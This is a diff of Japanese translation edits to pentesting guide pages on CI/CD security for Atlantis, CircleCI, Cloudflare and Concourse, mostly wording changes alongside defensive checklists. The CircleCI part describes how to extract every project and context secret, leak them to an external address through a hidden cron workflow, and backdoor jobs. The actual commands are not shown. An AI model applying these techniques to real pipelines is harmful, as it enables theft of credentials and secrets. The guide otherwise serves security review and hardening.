-攻撃者が悪意のあるTerraformコードを含むプルリクエストを送信することが脅威モデルに含まれている場合、`terraform apply`の承認だけでは不十分であることを認識する必要があります。`terraform plan`で悪意のあるコードを実行することが可能であり、[`external`データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。
+攻撃者が悪意のある Terraform コードを含むプルリクエストを提出することが脅威モデルに含まれている場合、`terraform apply` の承認だけでは不十分であることを認識する必要があります。`terraform plan` で悪意のあるコードを実行することが可能であり、[`external` データソース](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)を使用するか、悪意のあるプロバイダーを指定することができます。このコードは、あなたの資格情報を外部に流出させる可能性があります。
 
 これを防ぐために、次のことができます：
 
-1. プロバイダーをAtlantisイメージに組み込むか、ホストして本番環境での出口を拒否します。
-2. プロバイダー登録プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、誰がレジストリへの書き込みアクセスを持つかを制御できます。
-3. [サーバー側リポジトリ設定](https://www.runatlantis.io/docs/server-side-repo-config.html)の`plan`ステップを修正して、許可されていないプロバイダーやデータソース、許可されていないユーザーからのPRの使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan`を続行する前にPRに「いいね」を要求することです。Conftestが役立つかもしれません。
+1. プロバイダーを Atlantis イメージに組み込むか、ホストして、プロダクションでの出口を拒否します。
+2. プロバイダー レジストリ プロトコルを内部で実装し、公共の出口を拒否します。そうすれば、レジストリへの書き込みアクセスを誰が持っているかを制御できます。
+3. [サーバー側リポジトリ構成](https://www.runatlantis.io/docs/server-side-repo-config.html)の `plan` ステップを変更して、許可されていないプロバイダーやデータソース、許可されていないユーザーからの PR の使用を検証します。この時点で追加の検証を追加することもできます。例えば、`plan` を続行する前に PR に「いいね」を要求することです。Conftest が役立つかもしれません。
 
-#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
+#### Webhook シークレット <a href="#webhook-secrets" id="webhook-secrets"></a>
 
-Atlantisは、`$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`環境変数を介してWebhook secretsを設定して実行する必要があります。`--repo-allowlist`フラグが設定されていても、webhook secretがないと、攻撃者は許可リストに載っているリポジトリを装ってAtlantisにリクエストを送信することができます。Webhook secretsは、webhookリクエストが実際にあなたのVCSプロバイダー（GitHubまたはGitLab）から来ていることを保証します。
+Atlantis は、`$ATLANTIS_GH_WEBHOOK_SECRET` / `$ATLANTIS_GITLAB_WEBHOOK_SECRET` 環境変数を介して Webhook シークレットを設定して実行する必要があります。`--repo-allowlist` フラグが設定されていても、Webhook シークレットがない場合、攻撃者は許可リストにあるリポジトリを装って Atlantis にリクエストを送信することができます。Webhook シークレットは、Webhook リクエストが実際にあなたの VCS プロバイダー（GitHub または GitLab）から来ていることを保証します。
 
-Azure DevOpsを使用している場合、webhook secretsの代わりに基本的なユーザー名とパスワードを追加してください。
+Azure DevOps を使用している場合、Webhook シークレットの代わりに基本的なユーザー名とパスワードを追加してください。
 
-#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
+#### Azure DevOps ベーシック認証 <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>
 
-Azure DevOpsは、すべてのwebhookイベントで基本認証ヘッダーを送信することをサポートしています。これには、webhookの場所にHTTPS URLを使用する必要があります。
+Azure DevOps は、すべての Webhook イベントで基本認証ヘッダーを送信することをサポートしています。これには、Webhook の場所に HTTPS URL を使用する必要があります。
 
 #### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>
 
-webhook secretsを使用しているが、トラフィックがHTTPの場合、webhook secretsが盗まれる可能性があります。`--ssl-cert-file`および`--ssl-key-file`フラグを使用してSSL/HTTPSを有効にしてください。
+Webhook シークレットを使用しているが、トラフィックが HTTP 上にある場合、Webhook シークレットが盗まれる可能性があります。`--ssl-cert-file` および `--ssl-key-file` フラグを使用して SSL/HTTPS を有効にしてください。
 
-#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
+#### Atlantis Web サーバーでの認証を有効にする <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>
 
-Webサービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true`を使用してBasicAuthを有効にし、`--web-username=yourUsername`および`--web-password=yourPassword`フラグを使用してユーザー名とパスワードを設定します。
+Web サービスでの認証を有効にすることを強く推奨します。`--web-basic-auth=true` を使用して BasicAuth を有効にし、`--web-username=yourUsername` および `--web-password=yourPassword` フラグを使用してユーザー名とパスワードを設定します。
 
-これらを環境変数`ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername`および`ATLANTIS_WEB_PASSWORD=yourPassword`として渡すこともできます。
+これらを環境変数 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` および `ATLANTIS_WEB_PASSWORD=yourPassword` として渡すこともできます。
 
-### References
+### 参考文献
 
 - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
 - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)

src/pentesting-ci-cd/circleci-security.md

@@ -4,26 +4,26 @@
 
 ### 基本情報
 
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す **テンプレート** を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば **リポジトリのマスターブランチ** から直接 **テスト** や **デプロイ** を **自動化** できます。
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) は、コードに対して何をいつ行うかを示す**テンプレート**を定義できる継続的インテグレーションプラットフォームです。このようにして、例えば**リポジトリのマスターブランチ**から直接**テスト**や**デプロイ**を**自動化**できます。
 
 ### 権限
 
-**CircleCI** は、ログインする **アカウント** に関連する github および bitbucket から **権限を継承** します。\
-私のテストでは、**github のリポジトリに対する書き込み権限** があれば、**CircleCI でプロジェクト設定を管理** できることを確認しました（新しい ssh キーの設定、プロジェクト API キーの取得、新しい CircleCI 設定での新しいブランチの作成など）。
+**CircleCI**は、ログインする**アカウント**に関連するgithubおよびbitbucketから**権限を継承**します。\
+私のテストでは、**githubのリポジトリに対する書き込み権限**があれば、**CircleCIでのプロジェクト設定を管理**できることを確認しました（新しいsshキーの設定、プロジェクトのapiキーの取得、新しいCircleCI設定での新しいブランチの作成など）。
 
-ただし、**CircleCI プロジェクトにリポジトリを変換** するには、**リポジトリ管理者** である必要があります。
+ただし、**CircleCIプロジェクトにリポジトリを変換する**には、**リポジトリ管理者**である必要があります。
 
 ### 環境変数と秘密情報
 
-[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/) によると、ワークフロー内で **環境変数に値をロードする** 方法はいくつかあります。
+[**ドキュメント**](https://circleci.com/docs/2.0/env-vars/)によると、ワークフロー内で**環境変数に値をロードする**方法はいくつかあります。
 
 #### 組み込み環境変数
 
-CircleCI によって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、または `CIRCLE_USERNAME` のような [**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) が常に存在します。
+CircleCIによって実行されるすべてのコンテナには、`CIRCLE_PR_USERNAME`、`CIRCLE_PROJECT_REPONAME`、`CIRCLE_USERNAME`のような[**ドキュメントに定義された特定の環境変数**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)が常にあります。
 
 #### プレーンテキスト
 
-**コマンド** 内でプレーンテキストとして宣言できます:
+**コマンド**内でプレーンテキストとして宣言できます:
 ```yaml
 - run:
 name: "set and echo"
@@ -39,7 +39,7 @@ command: echo $SECRET
 environment:
 SECRET: A secret
 ```
-**build-job 環境**内に明示的に宣言できます：
+**build-job 環境**内に明示的に宣言できます:
 ```yaml
 jobs:
 build-job:
@@ -48,7 +48,7 @@ docker:
 environment:
 SECRET: A secret
 ```
-**コンテナの環境**内に明示的に宣言できます：
+コンテナの**環境**内に明示的に宣言できます：
 ```yaml
 jobs:
 build-job:
@@ -90,7 +90,7 @@ SECRET: A secret
 #### プロジェクトの秘密を抽出
 
 > [!WARNING]
-> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出する**には、**全体のgithub組織内の**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます（_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_）。
+> **すべての**プロジェクトおよびコンテキストの**秘密**を**抽出**するには、**全体のgithub組織の中で**たった**1つのリポジトリに**書き込み**アクセスを持っているだけで済みます（_そしてあなたのアカウントはコンテキストにアクセスできる必要がありますが、デフォルトでは誰でもすべてのコンテキストにアクセスできます_）。
 
 > [!CAUTION]
 > "**変数のインポート**" 機能は、**他のプロジェクトから変数をインポート**することを可能にします。したがって、攻撃者は**すべてのリポジトリからすべてのプロジェクト変数をインポート**し、その後**すべてを一緒に抽出**することができます。
@@ -114,7 +114,7 @@ exfil-env-workflow:
 jobs:
 - exfil-env
 ```
-もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合は、**毎分トリガーされるワークフローを作成**し、**外部アドレスに秘密を流出させる**ことができます:
+ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**作成**し、**外部アドレスに秘密を流出させる**ことができます:
 ```yaml
 version: 2.1
 
@@ -163,7 +163,7 @@ jobs:
 - exfil-env:
 context: Test-Context
 ```
-もし**ウェブコンソールにアクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフローを修正**し、**外部アドレスに秘密を流出させる**ことができます:
+ウェブコンソールに**アクセスできない**が、**リポジトリにアクセスでき**、CircleCIが使用されていることがわかっている場合、**毎分トリガーされるワークフロー**を**修正**し、**外部アドレスに秘密を流出させる**ことができます:
 ```yaml
 version: 2.1
 
@@ -196,10 +196,10 @@ context: Test-Context
 
 #### クラウドへのエスケープ
 
-**CircleCI** は **ビルドを自分のマシンまたは彼らのマシンで実行するオプションを提供します**。\
-デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン（潜在的にはクラウド環境）でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。
+**CircleCI** は **あなたのビルドを彼らのマシンまたはあなた自身のマシンで実行するオプションを提供します**。\
+デフォルトでは、彼らのマシンは GCP にあり、最初は関連する情報を見つけることはできません。しかし、もし被害者が **自分のマシン（潜在的にクラウド環境で）でタスクを実行している場合**、**興味深い情報が含まれたクラウドメタデータエンドポイントを見つけるかもしれません**。
 
-前の例ではすべてが docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**（異なるクラウド権限を持つ可能性があります）：
+前の例ではすべてが Docker コンテナ内で起動されましたが、**VM マシンを起動するように要求することもできます**（異なるクラウド権限を持っている可能性があります）：
 ```yaml
 jobs:
 exfil-env:
@@ -208,7 +208,7 @@ exfil-env:
 machine:
 image: ubuntu-2004:current
 ```
-リモートのdockerサービスにアクセスできるdockerコンテナでも:
+リモートDockerサービスにアクセスできるDockerコンテナでも。
 ```yaml
 jobs:
 exfil-env:
@@ -227,8 +227,8 @@ version: 19.03.13
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
 - プロジェクトに**SSHキーを追加**することが可能です。
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
-- 予期しないプロジェクトの**隠れたブランチにcronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。
-- あるいは、ブランチで作成したり、既知のジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることもできます。
+- 予期しないプロジェクトの隠れたブランチに**cronジョブを作成**して、毎日すべての**コンテキスト環境**変数を**漏洩**させることが可能です。
+- あるいは、ブランチで作成したり、知られているジョブを修正して、毎日すべてのコンテキストと**プロジェクトの秘密**を**漏洩**させることができます。
 - GitHubのオーナーであれば、**未確認のオーブを許可**し、ジョブに**バックドア**として設定することができます。
 - 一部のタスクで**コマンドインジェクションの脆弱性**を見つけ、**秘密**の値を変更して**コマンドを注入**することができます。
 

src/pentesting-ci-cd/cloudflare-security/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Cloudflareアカウントには、設定可能な**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
+Cloudflareアカウントには、設定できるいくつかの**一般設定とサービス**があります。このページでは、各セクションの**セキュリティ関連設定**を**分析**します。
 
 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
 
@@ -16,7 +16,7 @@ cloudflare-domains.md
 
 ### Domain Registration
 
-- [ ] **`Transfer Domains`**で、ドメインを転送できないことを確認します。
+- [ ] **`Transfer Domains`** で、ドメインを転送できないことを確認します。
 
 各項目を確認してください：
 
@@ -32,27 +32,27 @@ _設定のセキュリティレビューのために確認できるものは見
 
 各Cloudflareのページで：
 
-- [ ] **`Build log`**に**機密情報**がないか確認します。
+- [ ] **`Build log`** に**機密情報**がないか確認します。
 - [ ] ページに割り当てられた**Githubリポジトリ**に**機密情報**がないか確認します。
-- [ ] **workflow command injection**または`pull_request_target`の侵害による潜在的なgithubリポジトリの侵害を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。
+- [ ] **workflow command injection**や`pull_request_target`の妥協を通じて、潜在的なgithubリポジトリの妥協を確認します。詳細は[**Github Security page**](../github-security/)を参照してください。
 - [ ] `/fuctions`ディレクトリ内の**脆弱な関数**を確認し（あれば）、`_redirects`ファイル内の**リダイレクト**（あれば）と`_headers`ファイル内の**誤設定されたヘッダー**（あれば）を確認します。
 - [ ] **コードにアクセス**できる場合、**blackbox**または**whitebox**を通じて**ウェブページ**の**脆弱性**を確認します。
-- [ ] 各ページの詳細`/<page_id>/pages/view/blocklist/settings/functions`で、**`Environment variables`**に**機密情報**がないか確認します。
-- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないか確認します。
+- [ ] 各ページの詳細 `/<page_id>/pages/view/blocklist/settings/functions` で、**`Environment variables`**に**機密情報**がないか確認します。
+- [ ] 詳細ページで、**ビルドコマンド**と**ルートディレクトリ**に**潜在的なインジェクション**がないかも確認します。
 
 ## **Workers**
 
 各Cloudflareのワーカーで確認します：
 
-- [ ] トリガー：ワーカーをトリガーするのは何ですか？**ユーザーがデータを送信**して、ワーカーで**使用される**可能性はありますか？
-- [ ] **`Settings`**で、**機密情報**を含む**`Variables`**を確認します。
+- [ ] トリガー：ワーカーをトリガーするのは何ですか？**ユーザーがデータを送信**でき、それがワーカーによって**使用される**可能性はありますか？
+- [ ] **`Settings`** で、**機密情報**を含む**`Variables`**を確認します。
 - [ ] **ワーカーのコード**を確認し、**脆弱性**を探します（特にユーザーが入力を管理できる場所で）。
 - 指定されたページを返すSSRFを確認します。
 - svg画像内でJSを実行するXSSを確認します。
-- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーは入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持っているか、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。
+- ワーカーが他の内部サービスと相互作用する可能性があります。たとえば、ワーカーが入力から取得した情報を格納するR2バケットと相互作用する場合があります。その場合、ワーカーがR2バケットに対してどのような権限を持ち、ユーザー入力からどのように悪用される可能性があるかを確認する必要があります。
 
 > [!WARNING]
-> デフォルトでは、**WorkerにはURL**が与えられます。例：`<worker-name>.<account>.workers.dev`。ユーザーは**サブドメイン**に設定できますが、知っていればその**元のURL**で常にアクセスできます。
+> デフォルトでは、**ワーカーにはURL**が与えられます。例：`<worker-name>.<account>.workers.dev`。ユーザーは**サブドメイン**に設定できますが、その**元のURL**を知っていれば常にアクセスできます。
 
 ## R2
 
@@ -70,8 +70,8 @@ TODO
 
 ## Security Center
 
-- [ ] 可能であれば、**`Security Insights`**スキャンと**`Infrastructure`**スキャンを実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。
-- [ ] セキュリティの誤設定や興味深い情報について**この情報**を確認してください。
+- [ ] 可能であれば、**`Security Insights`** **スキャン**と**`Infrastructure`** **スキャン**を実行してください。これにより、**セキュリティ**に関する興味深い情報が**強調表示**されます。
+- [ ] セキュリティの誤設定や興味深い情報について、この情報を**確認**してください。
 
 ## Turnstile
 
@@ -86,10 +86,10 @@ cloudflare-zero-trust-network.md
 ## Bulk Redirects
 
 > [!NOTE]
-> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしません**。ただし、URLのマッチング動作や実行時の動作に影響を与えるURLリダイレクトパラメータを設定できます。
+> [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)とは異なり、[**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)は本質的に静的です — 文字列置換操作や正規表現を**サポートしていません**。ただし、URLのマッチング動作やランタイム動作に影響を与えるURLリダイレクトパラメータを設定できます。
 
-- [ ] **リダイレクトのための**`expressions`**と**`requirements`**が**意味をなしているか確認します。
-- [ ] **機密の隠されたエンドポイント**に興味深い情報が含まれていないかも確認します。
+- [ ] **リダイレクトのための** **expressions**と**requirements**が**意味をなしている**か確認します。
+- [ ] **機密の隠れたエンドポイント**に興味深い情報が含まれていないかも確認します。
 
 ## Notifications
 
@@ -114,13 +114,13 @@ cloudflare-zero-trust-network.md
 - `Advanced Security Events Alert`
 - `Security Events Alert`
 - [ ] すべての**宛先**を確認してください。Webhook URLに**機密情報**（基本的なhttp認証）が含まれている可能性があります。また、Webhook URLが**HTTPS**を使用していることを確認してください。
-- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何らかの方法で**危険なものを注入**できるかもしれません。
+- [ ] 追加の確認として、**Cloudflare通知を第三者に偽装**してみることができます。もしかしたら、何か危険なものを**注入**できるかもしれません。
 
 ## Manage Account
 
-- [ ] **`Billing` -> `Payment info`**で、**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。
-- [ ] **`Billing` -> `Subscriptions`**で、アカウントで使用されている**プランタイプ**を見ることができます。
-- [ ] **`Members`**で、アカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割（AdministratorとSuper Administrator）のみが存在します。しかし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。
+- [ ] **`Billing` -> `Payment info`** で**クレジットカードの最後の4桁**、**有効期限**、および**請求先住所**を見ることができます。
+- [ ] **`Billing` -> `Subscriptions`** でアカウントで使用されている**プランタイプ**を見ることができます。
+- [ ] **`Members`** でアカウントのすべてのメンバーとその**役割**を見ることができます。プランタイプがEnterpriseでない場合、2つの役割（AdministratorとSuper Administrator）のみが存在します。ただし、使用されている**プランがEnterprise**の場合、[**より多くの役割**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)が使用でき、最小権限の原則に従うことができます。
 - したがって、可能な限り**Enterpriseプラン**を使用することが**推奨**されます。
 - [ ] メンバーで**2FAが有効**になっている**メンバー**を確認できます。**すべての**ユーザーは有効にするべきです。
 

src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md

@@ -22,9 +22,9 @@ Cloudflareに設定された各TLDには、いくつかの**一般設定とサ
 - [ ] **プロキシされていない**ウェブページを確認する
 - [ ] CNAMEまたはIPアドレスで**直接アクセス可能な**プロキシ化されたウェブページを確認する
 - [ ] **DNSSEC**が**有効**であることを確認する
-- [ ] **すべてのCNAMEでCNAMEフラッティングが使用されている**ことを確認する
+- [ ] **すべてのCNAMEでCNAMEフラッティング**が**使用**されていることを確認する
 - これは**サブドメインの乗っ取り脆弱性を隠す**のに役立ち、読み込み時間を改善します
-- [ ] ドメインが[**スプーフィングに対して脆弱でない**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)ことを確認する
+- [ ] ドメインが[**スプーフィングに対して脆弱でないこと**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)を確認する
 
 ### **メール**
 
@@ -52,7 +52,7 @@ TODO
 
 ### **セキュリティ**
 
-- [ ] **`WAF`**セクションでは、**ファイアウォール**と**レート制限ルールが使用されている**か確認することが重要です。
+- [ ] **`WAF`**セクションでは、**ファイアウォール**と**レート制限ルールが使用されているか**確認することが興味深いです。
 - **`バイパス`**アクションは、リクエストに対して**Cloudflareのセキュリティ**機能を**無効**にします。使用すべきではありません。
 - [ ] **`ページシールド`**セクションでは、ページが使用されている場合は**有効**であることを確認することをお勧めします
 - [ ] **`APIシールド`**セクションでは、CloudflareでAPIが公開されている場合は**有効**であることを確認することをお勧めします
@@ -67,12 +67,12 @@ TODO
 
 - 可能であれば、**ボットファイトモード**または**スーパーボットファイトモード**を有効にしてください。プログラム的にアクセスされるAPIを保護している場合（例えば、JSフロントエンドページから）。そのアクセスを壊さずにこれを有効にできないかもしれません。
 - **WAF**では、**URLパスによるレート制限**を作成したり、**確認済みボット**に対して（レート制限ルール）、または**IP、クッキー、リファラー**に基づいて**アクセスをブロック**することができます。したがって、ウェブページから来ないリクエストやクッキーを持たないリクエストをブロックできます。
-- 攻撃が**確認済みボット**からの場合、少なくとも**ボットにレート制限を追加**してください。
-- 攻撃が**特定のパス**に対するものであれば、予防策としてそのパスに**レート制限を追加**してください。
+- 攻撃が**確認済みボット**からの場合、少なくとも**ボットに対してレート制限を追加**してください。
+- 攻撃が**特定のパス**に対するものであれば、予防策としてこのパスに**レート制限を追加**してください。
 - **ツール**からIPアドレス、IP範囲、国、またはASNを**ホワイトリスト**に追加することもできます。
-- **管理ルール**が脆弱性の悪用を防ぐのに役立つか確認してください。
+- **管理ルール**が脆弱性の悪用を防ぐのに役立つかどうか確認してください。
 - **ツール**セクションでは、特定のIPや**ユーザーエージェント**に対して**ブロックまたはチャレンジを与える**ことができます。
-- DDoSでは、**ルールをオーバーライドしてより制限的にする**ことができます。
+- DDoSでは、**いくつかのルールを上書きしてより制限的にする**ことができます。
 - **設定**：**セキュリティレベル**を**高**に設定し、**攻撃中**の場合は**攻撃中**に設定し、**ブラウザ整合性チェックが有効**であることを確認してください。
 - Cloudflare Domains -> Analytics -> Security -> **レート制限**が有効か確認する
 - Cloudflare Domains -> Security -> Events -> **検出された悪意のあるイベント**を確認する
@@ -111,7 +111,7 @@ TODO
 
 ### カスタムページ
 
-- [ ] セキュリティに関連するエラーが発生した場合（ブロック、レート制限、または攻撃中モードなど）にカスタムページを設定することはオプションです
+- [ ] セキュリティに関連するエラーが発生した場合（ブロック、レート制限、または攻撃中モードなど）にカスタムページを構成することはオプションです
 
 ### アプリ
 

src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md

@@ -2,19 +2,19 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Cloudflare Zero Trust Network** アカウントには、いくつかの **設定とサービス** が構成可能です。このページでは、各セクションの **セキュリティ関連設定** を **分析** します。
+**Cloudflare Zero Trust Network** アカウントには、構成可能な **設定とサービス** があります。このページでは、各セクションの **セキュリティ関連設定** を **分析** します。
 
 <figure><img src="../../images/image (206).png" alt=""><figcaption></figcaption></figure>
 
 ### Analytics
 
-- [ ] 環境を **理解するために役立つ**
+- [ ] 環境を **理解する** のに役立ちます
 
 ### **Gateway**
 
 - [ ] **`Policies`** では、アプリケーションにアクセスできるユーザーを **DNS**、**ネットワーク**、または **HTTP** リクエストによって **制限** するポリシーを生成できます。
-- 使用されている場合、**ポリシー**を作成して悪意のあるサイトへのアクセスを **制限** できます。
-- これは **ゲートウェイが使用されている場合のみ関連** します。使用されていない場合、防御的なポリシーを作成する理由はありません。
+- 使用される場合、**ポリシー** を作成して悪意のあるサイトへのアクセスを **制限** できます。
+- これは **ゲートウェイが使用されている場合のみ関連** します。使用されていない場合、防御的ポリシーを作成する理由はありません。
 
 ### Access
 
@@ -22,19 +22,19 @@
 
 各アプリケーションについて：
 
-- [ ] **誰**がアプリケーションにアクセスできるかを **Policies** で確認し、**アクセスが必要なユーザーのみ**がアプリケーションにアクセスできることを確認します。
-- アクセスを許可するために **`Access Groups`** が使用されます（**追加ルール**も設定可能です）。
-- [ ] **利用可能なアイデンティティプロバイダー**を確認し、**あまりオープンでないこと**を確認します。
+- [ ] **誰** がアプリケーションにアクセスできるかを **Policies** で確認し、**アクセスが必要なユーザーのみ** がアプリケーションにアクセスできることを確認します。
+- アクセスを許可するために **`Access Groups`** が使用され（**追加ルール** も設定可能）、 
+- [ ] **利用可能なアイデンティティプロバイダー** を確認し、**あまりオープンでない** ことを確認します。
 - [ ] **`Settings`** で：
-- [ ] **CORSが有効でないこと**を確認します（有効な場合は、**安全であり、すべてを許可していないこと**を確認します）。
+- [ ] **CORSが有効でないこと** を確認します（有効な場合は、**安全であり、すべてを許可していない** ことを確認します）。
 - [ ] クッキーには **Strict Same-Site** 属性、**HTTP Only** が必要で、アプリケーションがHTTPの場合は **binding cookie** を **有効** にする必要があります。
-- [ ] より良い **保護のためにブラウザレンダリング** を有効にすることも検討してください。詳細は [**リモートブラウザアイソレーションについてこちら**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**。**
+- [ ] より良い **保護のために** **Browser rendering** を有効にすることも検討してください。**リモートブラウザアイソレーションの詳細は** [**こちら**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**。**
 
 #### **Access Groups**
 
 - [ ] 生成されたアクセスグループが **正しく制限** されていることを確認します。
-- [ ] **デフォルトのアクセスグループがあまりオープンでないこと**を特に確認することが重要です（**多くの人を許可していないこと**）。デフォルトでは、その **グループ** の誰でも **アプリケーションにアクセス** できるようになります。
-- **EVERYONE** に **アクセス** を与えることや、100% 必要でない限り推奨されない **非常にオープンなポリシー** を設定することが可能であることに注意してください。
+- [ ] **デフォルトのアクセスグループがあまりオープンでない** ことを特に確認することが重要です（**多くの人を許可していない**）。デフォルトでは、その **グループ** の誰でも **アプリケーションにアクセス** できるようになります。
+- **EVERYONE** に **アクセス** を与えることや、**非常にオープンなポリシー** を設定することが可能ですが、100% 必要でない限り推奨されません。
 
 #### Service Auth
 
@@ -50,12 +50,12 @@ TODO
 
 ### Logs
 
-- [ ] ユーザーからの **予期しないアクション** を検索できます。
+- [ ] ユーザーからの **予期しないアクション** を検索できます
 
 ### Settings
 
-- [ ] **プランタイプ**を確認します。
-- [ ] **クレジットカードの所有者名**、**最後の4桁**、**有効期限**、および **住所** を確認できます。
-- 実際にこのサービスを使用していないユーザーを削除するために、**ユーザーシートの有効期限を追加** することをお勧めします。
+- [ ] **プランタイプ** を確認します
+- [ ] **クレジットカードの所有者名**、**最後の4桁**、**有効期限**、および **住所** を確認できます
+- [ ] 実際にこのサービスを使用していないユーザーを削除するために **ユーザーシートの有効期限を追加** することを推奨します
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/concourse-security/README.md

@@ -4,7 +4,7 @@
 
 ## 基本情報
 
-Concourseは、必要に応じて（時間ベース、何かが発生したときなど）テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**することを可能にします。
+Concourseを使用すると、必要に応じて（時間ベース、何かが発生したときなど）テスト、アクションを自動的に実行し、イメージをビルドするための**パイプラインを構築**できます。
 
 ## Concourseアーキテクチャ
 

src/pentesting-ci-cd/concourse-security/concourse-architecture.md

@@ -16,11 +16,11 @@ ATCはConcourseの中心です。**ウェブ UI と API**を実行し、すべ
 
 [checker](https://concourse-ci.org/checker.html)の責任は、リソースの新しいバージョンを継続的にチェックすることです。[scheduler](https://concourse-ci.org/scheduler.html)はジョブのビルドをスケジュールする責任があり、[build tracker](https://concourse-ci.org/build-tracker.html)はスケジュールされたビルドを実行する責任があります。[garbage collector](https://concourse-ci.org/garbage-collector.html)は、未使用または古くなったオブジェクト（コンテナやボリュームなど）を削除するためのクリーンアップメカニズムです。
 
-#### TSA: ワーカー登録 & 転送
+#### TSA: ワーカーの登録 & 転送
 
 TSAは**カスタムビルドのSSHサーバー**であり、[**ワーカー**](https://concourse-ci.org/internals.html#architecture-worker)を[ATC](https://concourse-ci.org/internals.html#component-atc)に安全に**登録**するためだけに使用されます。
 
-TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。
+TSAは**デフォルトでポート `2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。
 
 **TSAはSSH接続を介してCLIを実装し、**[**これらのコマンド**](https://concourse-ci.org/internals.html#component-tsa)をサポートします。
 
@@ -28,8 +28,8 @@ TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](h
 
 タスクを実行するために、Concourseはワーカーを持つ必要があります。これらのワーカーは[TSA](https://concourse-ci.org/internals.html#component-tsa)を介して**自分自身を登録**し、[**Garden**](https://github.com/cloudfoundry-incubator/garden)と[**Baggageclaim**](https://github.com/concourse/baggageclaim)のサービスを実行します。
 
